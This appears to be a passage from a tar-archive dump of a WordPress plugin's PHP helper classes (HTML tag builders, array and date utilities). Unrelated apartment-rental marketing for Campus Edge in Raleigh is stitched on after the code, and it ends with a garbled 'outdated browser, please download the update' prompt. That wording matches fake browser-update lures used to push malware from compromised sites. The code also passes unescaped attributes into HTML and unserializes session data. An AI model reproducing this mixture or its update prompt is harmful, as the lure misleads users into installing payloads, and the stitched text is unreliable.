public function h1($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('h1', $content, $id, $class, $style, $other_attributes, true);
}
/**
* Generates HTML <h2></h2> tags, inserts content, and adds any passed attributes
* usage: echo $this->h2( 'This is a Heading' );
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function h2($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('h2', $content, $id, $class, $style, $other_attributes, true);
}
/**
* Generates HTML <h3></h3> tags, inserts content, and adds any passed attributes
* usage: echo $this->h3( 'This is a Heading' );
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function h3($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('h3', $content, $id, $class, $style, $other_attributes, true);
}
/**
* Generates HTML <h4></h4> tags, inserts content, and adds any passed attributes
* usage: echo $this->h4( 'This is a Heading' );
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function h4($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('h4', $content, $id, $class, $style, $other_attributes, true);
}
/**
* Generates HTML <h5></h5> tags, inserts content, and adds any passed attributes
* usage: echo $this->h5( 'This is a Heading' );
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function h5($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('h5', $content, $id, $class, $style, $other_attributes, true);
}
/**
* Generates HTML <h6></h6> tags, inserts content, and adds any passed attributes
* usage: echo $this->h6( 'This is a Heading' );
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function h6($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('h6', $content, $id, $class, $style, $other_attributes, true);
}
/**
* Generates HTML <p></p> tags, inserts content, and adds any passed attributes
* usage: echo $this->p( 'this is a paragraph' );
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function p($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('p', $content, $id, $class, $style, $other_attributes, true);
}
/**
* Generates HTML opening <ul> tag and adds any passed attributes
* usage: echo $this->ul( 'my-list-id', 'my-list-class' );
*
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function ul($id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('ul', '', $id, $class, $style, $other_attributes);
}
/**
* Generates HTML closing </ul> tag - if passed the id or class attribute used for the opening ul tag, will append
* a comment
* usage: echo $this->ulx();
*
* @param string $id - html id attribute
* @param string $class - html class attribute
* @return string
*/
public function ulx($id = '', $class = '')
{
return $this->closeTag('ul', $id, $class);
}
/**
* Generates HTML <li> tag, inserts content, and adds any passed attributes
* if passed content, it will also add that, as well as the closing </li> tag
* usage: echo $this->li( 'this is a line item' );
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function li($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('li', $content, $id, $class, $style, $other_attributes);
}
/**
* Generates HTML closing </li> tag - if passed the id or class attribute used for the opening ul tag, will append
* a comment
* usage: echo $this->lix();
*
* @param string $id - html id attribute
* @param string $class - html class attribute
* @return string
*/
public function lix($id = '', $class = '')
{
return $this->closeTag('li', $id, $class);
}
/**
* Generates an HTML <table> tag and adds any passed attributes
* usage: echo $this->table();
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function table($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('table', $content, $id, $class, $style, $other_attributes);
}
/**
* Generates an HTML </table> tag - if passed the id or class attribute used for the opening ul tag, will
* append a comment
*
* @param string $id - html id attribute
* @param string $class - html class attribute
* @return string
*/
public function tablex($id = '', $class = '')
{
return $this->closeTag('table', $id, $class);
}
/**
* Generates an HTML <thead> tag and adds any passed attributes
* usage: echo $this->thead();
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function thead($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('thead', $content, $id, $class, $style, $other_attributes);
}
/**
* Generates an HTML </thead> tag - if passed the id or class attribute used for the opening ul tag, will
* append a comment
*
* @param string $id - html id attribute
* @param string $class - html class attribute
* @return string
*/
public function theadx($id = '', $class = '')
{
return $this->closeTag('thead', $id, $class);
}
/**
* Generates an HTML <tbody> tag and adds any passed attributes
* usage: echo $this->tbody();
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function tbody($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('tbody', $content, $id, $class, $style, $other_attributes);
}
/**
* Generates an HTML </tbody> tag - if passed the id or class attribute used for the opening ul tag, will
* append a comment
*
* @param string $id - html id attribute
* @param string $class - html class attribute
* @return string
*/
public function tbodyx($id = '', $class = '')
{
return $this->closeTag('tbody', $id, $class);
}
/**
* Generates an HTML <tr> tag and adds any passed attributes
* usage: echo $this->tr();
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function tr($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('tr', $content, $id, $class, $style, $other_attributes);
}
/**
* Generates an HTML </tr> tag - if passed the id or class attribute used for the opening ul tag, will append
* a comment
*
* @param string $id - html id attribute
* @param string $class - html class attribute
* @return string
*/
public function trx($id = '', $class = '')
{
return $this->closeTag('tr', $id, $class);
}
/**
* Generates an HTML <th> tag and adds any passed attributes
* usage: echo $this->th();
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function th($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('th', $content, $id, $class, $style, $other_attributes);
}
/**
* Generates an HTML </th> tag - if passed the id or class attribute used for the opening ul tag, will
* append a comment
*
* @param string $id - html id attribute
* @param string $class - html class attribute
* @return string
*/
public function thx($id = '', $class = '')
{
return $this->closeTag('th', $id, $class);
}
/**
* Generates an HTML <td> tag and adds any passed attributes
* usage: echo $this->td();
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function td($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('td', $content, $id, $class, $style, $other_attributes);
}
/**
* Generates an HTML </td> tag - if passed the id or class attribute used for the opening ul tag, will
* append a comment
*
* @param string $id - html id attribute
* @param string $class - html class attribute
* @return string
*/
public function tdx($id = '', $class = '')
{
return $this->closeTag('td', $id, $class);
}
/**
* For generating a "hidden" table row, good for embedding tables within tables
* generates a new table row with one td cell that spans however many columns you set
* removes all styles from the tr and td
*
* @param string $content
* @param int $colspan
* @return string
*/
public function noRow($content = '', $colspan = 2)
{
return $this->tr(
$this->td($content, '', '', 'padding:0; border:none;', 'colspan="' . $colspan . '"'),
'',
'',
'padding:0; border:none;'
);
}
/**
* Generates HTML <label></label> tags, inserts content, and adds any passed attributes
* usage: echo $this->span( 'this is some inline text' );
*
* @access public
* @param string $href URL to link to
* @param string $link_text - the text that will become "hyperlinked"
* @param string $title - html title attribute
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function link(
$href = '',
$link_text = '',
$title = '',
$id = '',
$class = '',
$style = '',
$other_attributes = ''
) {
$link_text = ! empty($link_text) ? $link_text : $href;
$attributes = ! empty($href) ? ' href="' . $href . '"' : '';
$attributes .= ! empty($id) ? ' id="' . $this->sanitizeId($id) . '"' : '';
$attributes .= ! empty($class) ? ' class="' . $class . '"' : '';
$attributes .= ! empty($style) ? ' style="' . $style . '"' : '';
$attributes .= ! empty($title) ? ' title="' . esc_attr($title) . '"' : '';
$attributes .= ! empty($other_attributes) ? ' ' . $other_attributes : '';
return "<a{$attributes}>{$link_text}</a>";
}
/**
* Generates an HTML <img> tag and adds any passed attributes
* usage: echo $this->img();
*
* @param string $src - html src attribute ie: the path or URL to the image
* @param string $alt - html alt attribute
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function img($src = '', $alt = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
$attributes = ! empty($src) ? ' src="' . esc_url_raw($src) . '"' : '';
$attributes .= ! empty($alt) ? ' alt="' . esc_attr($alt) . '"' : '';
$attributes .= ! empty($id) ? ' id="' . $this->sanitizeId($id) . '"' : '';
$attributes .= ! empty($class) ? ' class="' . $class . '"' : '';
$attributes .= ! empty($style) ? ' style="' . $style . '"' : '';
$attributes .= ! empty($other_attributes) ? ' ' . $other_attributes : '';
return '<img' . $attributes . '/>';
}
/**
* Generates HTML <label></label> tags, inserts content, and adds any passed attributes
* usage: echo $this->span( 'this is some inline text' );
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function label($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('label', $content, $id, $class, $style, $other_attributes);
}
/**
* Generates HTML <span></span> tags, inserts content, and adds any passed attributes
* usage: echo $this->span( 'this is some inline text' );
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function span($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('span', $content, $id, $class, $style, $other_attributes);
}
/**
* Generates HTML <span></span> tags, inserts content, and adds any passed attributes
* usage: echo $this->span( 'this is some inline text' );
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function strong($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('strong', $content, $id, $class, $style, $other_attributes);
}
/**
* Generates an html <-- comment --> tag
* usage: echo comment( 'this is a comment' );
*
* @param string $comment
* @return string
*/
public function comment($comment = '')
{
return ! empty($comment) ? $this->nl() . '<!-- ' . $comment . ' -->' : '';
}
/**
* Generates a line break
*
* @param int $nmbr - the number of line breaks to return
* @return string
*/
public function br($nmbr = 1)
{
return str_repeat('<br />', $nmbr);
}
/**
* Generates non-breaking space entities based on number supplied
*
* @param int $nmbr - the number of non-breaking spaces to return
* @return string
*/
public function nbsp($nmbr = 1)
{
return str_repeat(' ', $nmbr);
}
/**
* Functionally does the same as the wp_core function sanitize_key except it does NOT use
* strtolower and allows capitals.
*
* @param string $id
* @return string
*/
public function sanitizeId($id = '')
{
$key = str_replace(' ', '-', trim($id));
return preg_replace('/[^a-zA-Z0-9_\-]/', '', $key);
}
/**
* Return a newline and tabs ("nl" stands for "new line")
*
* @param int $indent the number of tabs to ADD to the current indent (can be negative or zero)
* @param string $tag
* @return string - newline character plus # of indents passed (can be + or -)
*/
public function nl($indent = 0, $tag = 'none')
{
$html = "\n";
$this->indent($indent, $tag);
for ($x = 0; $x < $this->indent[$tag]; $x++) {
$html .= "\t";
}
return $html;
}
/**
* Changes the indents used in $this->nl. Often its convenient to change
* the indentation level without actually creating a new line
*
* @param int $indent can be negative to decrease the indentation level
* @param string $tag
*/
public function indent($indent, $tag = 'none')
{
if (! isset($this->indent[$tag])) {
$this->indent[$tag] = 0;
}
$this->indent[$tag] += (int)$indent;
$this->indent[$tag] = $this->indent[$tag] >= 0 ? $this->indent[$tag] : 0;
}
}
Twine/helpers/Array2.php 0000644 00000020132 14666776752 0011175 0 ustar 00 <?php
namespace Twine\helpers;
/**
* EE_Array
* This is a helper utility class that provides different helpers related to array manipulation (that might extend or
* modify existing PHP core array function).
*
* @package Event Espresso
* @subpackage /helpers/EE_Array.helper.php
* @author Darren Ethier
*/
class Array2
{
/**
* This method basically works the same as the PHP core function array_diff except it allows you to compare arrays
* of EE_Base_Class objects NOTE: This will ONLY work on an array of EE_Base_Class objects
*
* @uses array_udiff core php function for setting up our own array comparison
* @uses self::_compare_objects as the custom method for array_udiff
* @param array $array1 an array of objects
* @param array $array2 an array of objects
* @return array an array of objects found in array 1 that aren't found in array 2.
*/
public static function objectArrayDiff($array1, $array2)
{
return array_udiff($array1, $array2, array('self', '_compare_objects'));
}
/**
* Given that $arr is an array, determines if it's associative or numerically AND sequentially indexed
*
* @param array $array
* @return boolean
*/
public static function isAssociativeArray(array $array)
{
return array_keys($array) !== range(0, count($array) - 1);
}
/**
* Gets an item from the array and leave the array intact. Use in place of end()
* when you don't want to change the array
*
* @param array $arr
* @return mixed what ever is in the array
*/
public static function getOneItemFromArray($arr)
{
$item = end($arr);
reset($arr);
return $item;
}
/**
* Detects if this is a multi-dimensional array (meaning that the top-level
* values are themselves array. Eg array(array(...),...)
*
* @param mixed $arr
* @return boolean
*/
public static function isMultiDimensionalArray($arr)
{
if (is_array($arr)) {
$first_item = reset($arr);
if (is_array($first_item)) {
return true;// yep, there's at least 2 levels to this array
} else {
return false;// nope, only 1 level
}
} else {
return false;// its not an array at all!
}
}
/**
* Shorthand for isset( $arr[ $index ] ) ? $arr[ $index ] : $default
*
* @param array $arr
* @param mixed $index
* @param mixed $default
* @return mixed
*/
public static function setOr($arr, $index, $default)
{
return isset($arr[ $index ]) ? $arr[ $index ] : $default;
}
/**
* Exactly like `maybe_unserialize`, but also accounts for a WP bug: http://core.trac.wordpress.org/ticket/26118
*
* @param mixed $value usually a string, but could be an array or object
* @return mixed the UN-serialized data
*/
public static function maybeUnserialize($value)
{
$data = maybe_unserialize($value);
// it's possible that this still has serialized data if its the session. WP has a bug,
// http://core.trac.wordpress.org/ticket/26118 that doesnt' unserialize this automatically.
$token = 'C';
$data = is_string($data) ? trim($data) : $data;
// Legacy code that used loose comparison; changing it to strict comparison is risky so leave it.
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
if (is_string($data) && strlen($data) > 1 && $data[0] == $token && preg_match("/^{$token}:[0-9]+:/s", $data)) {
// We have legacy data that was serialized, we may need this. But yes, serializing as JSON is usually better.
// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
return unserialize($data);
} else {
return $data;
}
}
/**
* Inserts an array into an existing array.
*
* @param array $target_array the array to insert new data into
* @param array $array_to_insert the new data to be inserted
* @param int | string $offset a known key within $target_array where new data will be inserted
* @param bool $add_before whether to add new data before or after the offset key
* @param bool $preserve_keys whether or not to reset numerically indexed arrays
* @return array
*/
public static function insertIntoArray(
$target_array = array(),
$array_to_insert = array(),
$offset = null,
$add_before = true,
$preserve_keys = true
) {
// ensure incoming arrays are actually arrays
$target_array = (array) $target_array;
$array_to_insert = (array) $array_to_insert;
// if no offset key was supplied
if (empty($offset)) {
// use start or end of $target_array based on whether we are adding before or not
$offset = $add_before ? 0 : count($target_array);
}
// if offset key is a string, then find the corresponding numeric location for that element
$offset = is_int($offset) ? $offset : array_search($offset, array_keys($target_array), true);
// add one to the offset if adding after
$offset = $add_before ? $offset : $offset + 1;
// but ensure offset does not exceed the length of the array
$offset = $offset > count($target_array) ? count($target_array) : $offset;
// reindex array ???
if ($preserve_keys) {
// take a slice of the target array from the beginning till the offset,
// then add the new data
// then add another slice that starts at the offset and goes till the end
return array_slice($target_array, 0, $offset, true) + $array_to_insert + array_slice(
$target_array,
$offset,
null,
true
);
} else {
// since we don't want to preserve keys, we can use array_splice
array_splice($target_array, $offset, 0, $array_to_insert);
return $target_array;
}
}
/**
* Because array_merge() is slow and should never be used while looping over data
* if you don't need to preserve keys from all arrays, then using a foreach loop is much faster
* so really this acts more like array_replace( $array1, $array2 )
* or a union with the arrays flipped ( $array2 + $array1 )
* this saves a few lines of code and improves readability
*
* @param array $array1
* @param array $array2
* @return array
*/
public static function mergeArraysAndOverwriteKeys(array $array1, array $array2)
{
foreach ($array2 as $key => $value) {
$array1[ $key ] = $value;
}
return $array1;
}
/**
* Given a flat array like $array = array('A', 'B', 'C')
* will convert into a multidimensional array like $array[A][B][C]
* if $final_value is provided and is anything other than null,
* then that will be set as the value for the innermost array key
* like so: $array[A][B][C] = $final_value
*
* @param array $flat_array
* @param mixed $final_value
* @return array
*/
public static function convertArrayValuesToKeys(array $flat_array, $final_value = null)
{
$multidimensional = array();
$reference = &$multidimensional;
foreach ($flat_array as $key) {
$reference[ $key ] = array();
$reference = &$reference[ $key ];
}
if ($final_value !== null) {
$reference = $final_value;
}
return $multidimensional;
}
/**
* Checks if the array is numerically indexed by sequential numbers (ie, the array isn't being used a dictionary)
* @see http://stackoverflow.com/questions/173400/how-to-check-if-php-array-is-associative-or-sequential
* @param array $array
* @return bool
*/
public static function isClassicArray(array $array)
{
return ! empty($array) ? array_keys($array) === range(0, count($array) - 1) : true;
}
}
Twine/helpers/DateTimeHelper.php 0000644 00000003143 14666776752 0012674 0 ustar 00 <?php
namespace Twine\helpers;
use DateTime;
/**
* Class DateTimeHelper
* @package Twine\helpers
*/
class DateTimeHelper
{
const MYSQL_DATE_FORMAT = 'Y-m-d';
const MYSQL_DATETIME_FORMAT = 'Y-m-d H:i:s';
/**
* @param string $date_string
*
* @return DateTime|false
*/
public static function createFromDateString($date_string)
{
return DateTime::createFromFormat(self::MYSQL_DATE_FORMAT, $date_string);
}
/**
* @param string $datetime_string
*
* @return DateTime|false
*/
public static function createFromDateTimeString($datetime_string)
{
return DateTime::createFromFormat(self::MYSQL_DATETIME_FORMAT, $datetime_string);
}
/**
* Adds a month, rounding down in case the current month doesn't have 31 days
* @see https://stackoverflow.com/a/34896101/1493883
*
* @param DateTime $datetime
*
* @return DateTime modified datetime passed in
*/
public static function addMonth(DateTime $datetime)
{
$day = $datetime->format('j');
$datetime->modify('first day of +1 month');
$datetime->modify('+' . (min($day, $datetime->format('t')) - 1) . ' days');
return $datetime;
}
/**
* @param DateTime $datetime
* @return DateTime
*/
public static function subtractMonth(DateTime $datetime)
{
$datetime = clone $datetime;
$day = $datetime->format('j');
$datetime->modify('first day of -1 month');
$datetime->modify('+' . (min($day, $datetime->format('t')) - 1) . ' days');
return $datetime;
}
}
With our new Self-Guided Tour option, you can tour Campus Edge on your time - whether it's after-hours, during the day or on the weekends. All you need to do is register and download the Tour24 app to tour our property without a leasing agent whenever it's convenient for you!
Located near the entrance of NC State’s Centennial Campus, Campus Edge is amongst the top of the off-campus housing choices in Raleigh, NC. We offer spacious 1, 2, and 3 bedroom apartments with fully furnished options and all-inclusive rates. Each pet-friendly apartment features large private bedrooms, private bathrooms, individual leases, walk-in closets, full-size washer and dryer, and a patio or balcony. We offer both furnished and unfurnished options to best fit your needs. Upgrade your new home with our modern furniture package and luxury finishes such as vinyl wood flooring, quartz kitchen countertops, faux stainless steel appliances, and garage parking. High-speed internet, cable, water, trash and sewer service, and uncovered parking are all included in your regular monthly rental installment.
Whether you go to NC State, Meredith or Wake Tech, our premium apartments are the place for you! You’ll love our community amenities, including not 1, but 2 resort-style pools, basketball court, volleyball court, hammock area, 24-hour fitness center with Wellbeats Virtual Fitness, 24-hour computer lab with both PC and Mac computers and high-speed printer, large game room with 4 LED curved TVs and 60″ flat screens, dog park, car wash station, and more! Stop by our office at 3551 Cum Laude Court, Raleigh, NC to speak with our team and to learn more about our community. We can’t wait to show you around!
Browse through our community gallery and picture yourself living the ultimate off-campus experience at Campus Edge! Loving what you see? Check out our virtual tour for a closer look of our apartments and community amenities, or schedule an in-person tour with one of our leasing professionals.
Explore the apartment home at your own pace through a video conference with one of our agents.
Self-Guided Tour
Explore the apartment home a your own pace. Pick up the key from our staff and return it when you're finished.
Available Times
*Please be sure to bring a form of identification with you in order to take your scheduled tour. You'll receive an email 24 hours before your tour as a reminder.
Welcome to our website!
We have updated that you are using an outdated version of your browser. Please download the update.